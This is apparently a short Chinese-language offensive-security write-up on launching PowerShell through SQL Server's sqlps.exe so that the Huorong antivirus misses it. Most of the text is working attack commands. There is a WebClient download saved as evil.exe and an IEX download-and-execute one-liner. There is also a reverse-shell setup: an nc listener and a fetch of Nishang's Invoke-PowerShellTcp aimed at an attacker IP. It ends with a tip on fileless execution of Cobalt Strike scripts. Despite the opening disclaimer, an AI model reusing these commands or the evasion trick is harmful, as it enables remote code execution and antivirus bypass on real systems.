请不要在未经授权在真实网络环境中复现本文章中描述的攻击。
0x00 什么是sqlps
sqlps.exe是一个可执行文件,是SQL Server 2014的一部分Windows PowerShell扩展。
sqlps的功能是启动powershell。
0x01 测试
使用powershell远程下载flag.txt(内容为whoami)文件并重命名保存为evil.exe。下载未遭火绒拦截:
powershell (new-object System.Net.WebClient).DownloadFile('http://127.0.0.1:8888/flag.txt','evil.exe')
使用powershell远程访问flag.txt文件并执行时,火绒会拦截:
powershell -c "IEX ((new-object net.webclient).downloadstring('http://127.0.0.1:8888/flag.txt'))"
换成sqlps.exe,成功绕过拦截:
0x02 弊端
只能执行一句话的命令,不能执行带分号的命令。例如:
以windows下反弹shell为例。攻击机IP为192.168.187.145。
开启监听:
sudo -i ufw allow 2883/tcp nc -lvnp 2883
目标机输入:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.187.145 -port 2883
可成功监听,虽然会遭遇火绒拦截:
尝试使用sqlps,会报错:
可以直接把CS生成的powershell脚本放入公网环境中远程访问,无文件落地执行。